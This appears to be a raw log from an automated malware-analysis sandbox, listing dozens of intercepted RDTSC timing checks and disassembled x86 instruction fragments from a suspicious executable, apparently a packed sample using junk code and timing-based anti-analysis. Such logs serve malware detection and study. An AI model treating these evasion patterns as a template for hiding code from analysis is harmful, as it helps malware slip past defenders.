Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562038B second address: 5620398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov ch, DDh 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620398 second address: 562039E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562039E second address: 56203F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov esi, 6389559Bh 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F3DE916F95Ah 0x00000014 xor esi, 21720468h 0x0000001a jmp 00007F3DE916F95Bh 0x0000001f popfd 0x00000020 mov bx, cx 0x00000023 popad 0x00000024 movzx ecx, di 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d call 00007F3DE916F968h 0x00000032 pop ecx 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56203F2 second address: 562040E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bl, 25h 0x0000000f mov dx, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562040E second address: 5620414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620414 second address: 5620418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620418 second address: 562041C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56406CD second address: 56406E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F3DE9170BECh 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56406E7 second address: 564074F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 4C639FCAh 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F3DE916F967h 0x00000014 sbb eax, 0B181B1Eh 0x0000001a jmp 00007F3DE916F969h 0x0000001f popfd 0x00000020 mov ecx, 23C5A4E7h 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b call 00007F3DE916F966h 0x00000030 pop ecx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564074F second address: 564076D instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a push ebp 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f push edx 0x00000010 mov cl, 6Ch 0x00000012 pop edi 0x00000013 popad 0x00000014 mov dword ptr [esp], ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov cx, bx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564076D second address: 5640773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640773 second address: 5640777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640777 second address: 564077B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564077B second address: 56407C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FB65FCh] 0x0000000d pushad 0x0000000e mov edi, 282D1FF0h 0x00000013 movsx edx, ax 0x00000016 popad 0x00000017 test eax, eax 0x00000019 pushad 0x0000001a mov bx, cx 0x0000001d jmp 00007F3DE9170BEAh 0x00000022 popad 0x00000023 je 00007F3E5AA63DA9h 0x00000029 pushad 0x0000002a movzx eax, bx 0x0000002d call 00007F3DE9170BF3h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56407C2 second address: 56407D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov ecx, eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56407D0 second address: 56407D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56407D4 second address: 56407D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56407D8 second address: 56407DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56408CB second address: 56408D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56408D1 second address: 5640930 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3DE9170BF2h 0x00000008 pop esi 0x00000009 mov dh, 11h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 call 00007F3DE9170BF3h 0x00000015 mov ecx, 481C7A3Fh 0x0000001a pop ecx 0x0000001b mov dl, 6Fh 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F3DE9170BECh 0x00000024 mov ebp, esp 0x00000026 jmp 00007F3DE9170BF0h 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ch, 33h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640930 second address: 5640936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640936 second address: 564093A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564093A second address: 564093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0017 second address: 55F003D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, AA83h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3DE9170BF5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F003D second address: 55F0043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0043 second address: 55F0047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0047 second address: 55F0068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0068 second address: 55F006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F006C second address: 55F0072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0072 second address: 55F0077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0077 second address: 55F00DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3DE916F966h 0x0000000a or ch, 00000008h 0x0000000d jmp 00007F3DE916F95Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 and esp, FFFFFFF8h 0x00000019 jmp 00007F3DE916F966h 0x0000001e xchg eax, ecx 0x0000001f jmp 00007F3DE916F960h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F3DE916F95Eh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F00DF second address: 55F00F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F00F1 second address: 55F011F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F3DE916F967h 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov di, E396h 0x00000016 mov edi, 6422A322h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F011F second address: 55F0125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0125 second address: 55F0129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0129 second address: 55F0138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0138 second address: 55F013E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F013E second address: 55F0174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DE9170BF8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0174 second address: 55F0183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0183 second address: 55F019B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F019B second address: 55F01FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e pushad 0x0000000f mov ax, 85BBh 0x00000013 pushfd 0x00000014 jmp 00007F3DE916F960h 0x00000019 xor cx, EA08h 0x0000001e jmp 00007F3DE916F95Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 jmp 00007F3DE916F966h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3DE916F95Eh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F01FF second address: 55F02C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3DE9170BF1h 0x00000009 sbb cx, C686h 0x0000000e jmp 00007F3DE9170BF1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F3DE9170BF0h 0x0000001a adc esi, 4C656128h 0x00000020 jmp 00007F3DE9170BEBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, esi 0x0000002a jmp 00007F3DE9170BF6h 0x0000002f mov esi, dword ptr [ebp+08h] 0x00000032 jmp 00007F3DE9170BF0h 0x00000037 xchg eax, edi 0x00000038 jmp 00007F3DE9170BF0h 0x0000003d push eax 0x0000003e pushad 0x0000003f movsx edi, cx 0x00000042 popad 0x00000043 xchg eax, edi 0x00000044 pushad 0x00000045 mov ecx, 6A67FF71h 0x0000004a mov dx, si 0x0000004d popad 0x0000004e test esi, esi 0x00000050 jmp 00007F3DE9170BF8h 0x00000055 je 00007F3E5AAAEF44h 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e movsx ebx, cx 0x00000061 push ecx 0x00000062 pop edi 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F02C6 second address: 55F0339 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3DE916F961h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F3DE916F961h 0x0000000f adc ch, FFFFFFC6h 0x00000012 jmp 00007F3DE916F961h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 jmp 00007F3DE916F95Eh 0x00000027 je 00007F3E5AAADC67h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F3DE916F967h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0339 second address: 55F0351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0351 second address: 55F03C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e jmp 00007F3DE916F966h 0x00000013 or edx, dword ptr [ebp+0Ch] 0x00000016 jmp 00007F3DE916F960h 0x0000001b test edx, 61000000h 0x00000021 jmp 00007F3DE916F960h 0x00000026 jne 00007F3E5AAADC3Ah 0x0000002c jmp 00007F3DE916F960h 0x00000031 test byte ptr [esi+48h], 00000001h 0x00000035 pushad 0x00000036 mov edx, eax 0x00000038 push eax 0x00000039 push edx 0x0000003a mov ch, 98h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E06DF second address: 55E06E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E06E3 second address: 55E06E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E06E9 second address: 55E07DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3DE9170BF2h 0x00000009 adc cx, ED98h 0x0000000e jmp 00007F3DE9170BEBh 0x00000013 popfd 0x00000014 mov ah, E7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F3DE9170BEEh 0x00000021 adc esi, 62CF17F8h 0x00000027 jmp 00007F3DE9170BEBh 0x0000002c popfd 0x0000002d mov ebx, ecx 0x0000002f popad 0x00000030 mov dword ptr [esp], ebp 0x00000033 jmp 00007F3DE9170BF2h 0x00000038 mov ebp, esp 0x0000003a jmp 00007F3DE9170BF0h 0x0000003f and esp, FFFFFFF8h 0x00000042 jmp 00007F3DE9170BF0h 0x00000047 xchg eax, ebx 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007F3DE9170BEEh 0x0000004f xor cl, FFFFFFE8h 0x00000052 jmp 00007F3DE9170BEBh 0x00000057 popfd 0x00000058 pushfd 0x00000059 jmp 00007F3DE9170BF8h 0x0000005e sbb eax, 43ED1648h 0x00000064 jmp 00007F3DE9170BEBh 0x00000069 popfd 0x0000006a popad 0x0000006b push eax 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f call 00007F3DE9170BF5h 0x00000074 pop ecx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E07DB second address: 55E0874 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3DE916F961h 0x00000008 xor cx, 9216h 0x0000000d jmp 00007F3DE916F961h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push esi 0x00000016 pushfd 0x00000017 jmp 00007F3DE916F967h 0x0000001c xor cl, 0000004Eh 0x0000001f jmp 00007F3DE916F969h 0x00000024 popfd 0x00000025 pop ecx 0x00000026 popad 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ch, B6h 0x0000002d pushfd 0x0000002e jmp 00007F3DE916F965h 0x00000033 or cx, E636h 0x00000038 jmp 00007F3DE916F961h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0874 second address: 55E087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E087A second address: 55E093E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F3DE916F964h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov di, ax 0x00000015 pushfd 0x00000016 jmp 00007F3DE916F95Ah 0x0000001b or esi, 6DBE8FB8h 0x00000021 jmp 00007F3DE916F95Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov esi, dword ptr [ebp+08h] 0x0000002b jmp 00007F3DE916F966h 0x00000030 sub ebx, ebx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F3DE916F967h 0x00000039 sbb ah, FFFFFFDEh 0x0000003c jmp 00007F3DE916F969h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F3DE916F960h 0x00000048 add cx, CED8h 0x0000004d jmp 00007F3DE916F95Bh 0x00000052 popfd 0x00000053 popad 0x00000054 test esi, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 mov edi, 7933B7C6h 0x0000005e movsx edx, ax 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E093E second address: 55E097A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F3E5AAB662Eh 0x0000000e jmp 00007F3DE9170BEDh 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F3DE9170BF3h 0x00000022 mov di, cx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E097A second address: 55E098E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE916F960h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E098E second address: 55E09CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d jmp 00007F3DE9170BF6h 0x00000012 je 00007F3E5AAB65D2h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3DE9170BEAh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E09CB second address: 55E09D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E09D1 second address: 55E09E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DE9170BECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E09E2 second address: 55E0A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test byte ptr [76FB6968h], 00000002h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F3DE916F963h 0x00000016 push eax 0x00000017 pop edi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A09 second address: 55E0A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A1D second address: 55E0A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A21 second address: 55E0A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F3E5AAB6573h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3DE9170BEAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A3B second address: 55E0A5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3DE916F961h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edx, dword ptr [ebp+0Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A5C second address: 55E0A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A60 second address: 55E0A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F960h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0A74 second address: 55E0B02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F3DE9170BF6h 0x0000000f push eax 0x00000010 jmp 00007F3DE9170BEBh 0x00000015 xchg eax, ebx 0x00000016 jmp 00007F3DE9170BF6h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d mov al, 97h 0x0000001f mov ecx, edx 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F3DE9170BF4h 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a call 00007F3DE9170BEEh 0x0000002f call 00007F3DE9170BF2h 0x00000034 pop esi 0x00000035 pop edx 0x00000036 push eax 0x00000037 push edx 0x00000038 mov bx, cx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0D89 second address: 55F0DA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F3DE916F95Dh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DA6 second address: 55F0DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DAA second address: 55F0DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DB0 second address: 55F0DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DB6 second address: 55F0DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DBA second address: 55F0DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F3DE9170BF6h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3DE9170BEAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DEB second address: 55F0DFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0DFA second address: 55F0E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0E00 second address: 55F0E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
